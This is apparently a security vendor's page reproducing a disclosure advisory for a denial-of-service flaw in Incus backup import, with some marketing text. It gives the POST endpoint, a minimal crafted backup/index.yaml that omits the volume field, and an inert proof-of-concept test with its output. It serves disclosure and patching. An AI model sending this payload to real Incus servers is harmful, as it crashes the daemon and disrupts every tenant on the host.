GHSA-8g7m-96c8-8wwc
Fix: lxc/incus@98e64f0GHSA-8g7m-96c8-8wwc is a NULL Pointer Dereference vulnerability in github.com/lxc/incus/v7. O3 Security confirms whether GHSA-8g7m-96c8-8wwc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Incus has a Nil-Pointer Dereference Panic via Instance Backup Import (volume omitted)
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
github.com/lxc/incus/v7Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
(*backend).CreateInstanceFromBackup in internal/server/storage/backend.go contains a nil-pointer dereference that an authenticated user with permission to create instances in any project can trigger remotely by uploading a crafted backup tarball. The Incus daemon panics and the process crashes, causing denial of service to every project on that cluster member.
This is a sibling of GHSA-fwj8-62r8-8p8m, GHSA-r7w7-mmxr-47r9, and GHSA-x5r6-jr56-89pv (all assigned 2026-05-04). Those patches added guards on adjacent fields of the same backup/config.Config struct; the Volume field on the instance-import path was missed.
Vulnerable code
internal/server/storage/backend.go (current main, commit 1513600):
// Lines 763-767 — properly guarded:
var volumeConfig map[string]string
if srcBackup.Config != nil && srcBackup.Config.Volume != nil {
volumeConfig = srcBackup.Config.Volume.Config
}
// ... a few lines later ...
// Line 795 — unguarded, dereferences Config.Volume directly:
if srcBackup.Config.Volume.Config["block.type"] == drivers.BlockVolumeTypeQcow2 {
The caller createFromBackup in cmd/incusd/instances_post.go only verifies that Config and Config.Container are non-nil:
// instances_post.go:854
if bInfo.Config == nil || bInfo.Config.Container == nil {
return response.BadRequest(errors.New("Backup file is missing required information"))
}
Volume is not checked. The Volume field on internal/server/backup/config.Config has type *api.StorageVolume with yaml:"volume,omitempty", so omitting volume: from a crafted backup/index.yaml decodes to nil. The subsequent unguarded deref on line 795 panics.
The panic happens on the HTTP request goroutine; no recover() is installed by CreateInstanceFromBackup or its callers, so the Go runtime kills the entire incusd process.
Reach
- The attacker is any client authenticated to the Incus REST API (TLS client certificate, OIDC, or unix socket) with permission to create instances in at least one project. This is the most common low-trust authenticated user.
- The attacker sends
POST /1.0/instances?project=<p>withContent-Type: application/octet-stream. - The body is an uncompressed tar (the same code path also accepts squashfs / gz / zstd / xz) containing one file,
backup/index.yaml, whoseconfig:block listscontainer:andpool:but omitsvolume:. cmd/incusd/instances_post.goinstancesPost->createFromBackup-> the line 854 guard passes (Container is non-nil) ->pool.CreateInstanceFromBackup(*bInfo, backupFile, nil)->internal/server/storage/backend.go:795panics onsrcBackup.Config.Volume.Config[...].incusdprocess dies. All running operations on that cluster member are killed. Repeated requests = persistent denial of service.
Minimal crafted backup/index.yaml:
name: poc
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
config:
container:
name: poc
architecture: x86_64
type: container
pool:
name: default
driver: dir
# volume intentionally absent
Proof of concept
A self-contained Go unit test imports the real internal/server/backup/config package, decodes the crafted YAML into the actual *backupConfig.Config struct used by the daemon, and executes the literal expression from backend.go:795. The test is intentionally inert (panics are recovered and reported as the expected outcome):
// internal/poc_repro/poc_nil_deref_volume_test.go
func TestPoCNilDerefVolumeImport(t *testing.T) {
var bi pocInfo // mirrors internal/server/backup.Info, only Config is needed
loader, _ := yaml.NewLoader(strings.NewReader(evilIndex))
_ = loader.Load(&bi)
// bi.Config != nil, bi.Config.Container != nil (passes createFromBackup guard)
// bi.Config.Volume == nil (passes the line 765 guard's else branch)
defer func() { _ = recover() }()
// Literal copy of backend.go:795.
if bi.Config.Volume.Config["block.type"] == "qcow2" {
// unreachable
}
}
Result against lxc/incus@1513600 on Go 1.26.1:
=== RUN TestPoCNilDerefVolumeImport
poc_nil_deref_volume_test.go:97: yaml decoded: Container != nil (passes createFromBackup guard), Volume == nil
poc_nil_deref_volume_test.go:99: backend.go line 795 unguarded deref about to execute...
poc_nil_deref_volume_test.go:123: CONFIRMED: nil-pointer panic at the exact line as backend.go:795 => runtime error: invalid memory address or nil pointer dereference
--- PASS: TestPoCNilDerefVolumeImport (0.00s)
A tarball builder + uploader (main.go) is included in the report's PoC bundle. The tarball is 2560 bytes and contains a single 547-byte backup/index.yaml.
Impact
- Severity: denial of service against the entire
incusdprocess. Every container / VM operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until the process is restarted by an operator or supervisor. - Privileges required: authenticated user with
can_createpermission on any project. The path is not behind the admin auth tier. - Network attack surface: the Incus REST API on
:8443(or unix socket). - CWE-476 — nil pointer dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Suggested fix
Mirror the guard already present on line 765 a few lines higher into the path that hits line 795. For example:
if srcBackup.Config == nil || srcBackup.Config.Volume == nil {
return nil, nil, errors.New("Backup config missing required volume metadata")
}
if srcBackup.Config.Volume.Config["block.type"] == drivers.BlockVolumeTypeQcow2 {
Alternatively, extend the existing createFromBackup precondition in cmd/incusd/instances_post.go:854 to also reject backups missing bInfo.Config.Volume. The latter is the smaller surface change and matches the pattern of CreateBucketFromBackup (backend.go:7848):
if srcBackup.Config == nil || srcBackup.Config.Bucket == nil {
return errors.New("Valid bucket config not found in index")
}
Reporter notes
Reported via Privately-Reported Vulnerability against lxc/incus. Reporter: tonghuaroot. The reproducer test is non-destructive (no network, no filesystem mutation beyond the temp directory used by Go's test runner) and recovers the panic.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lxc/incus/v7 | all versions | 7.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v7. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/lxc/incus/v7 to 7.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8g7m-96c8-8wwc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8g7m-96c8-8wwc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8g7m-96c8-8wwc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8g7m-96c8-8wwc in your dependencies?
O3 detects GHSA-8g7m-96c8-8wwc across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.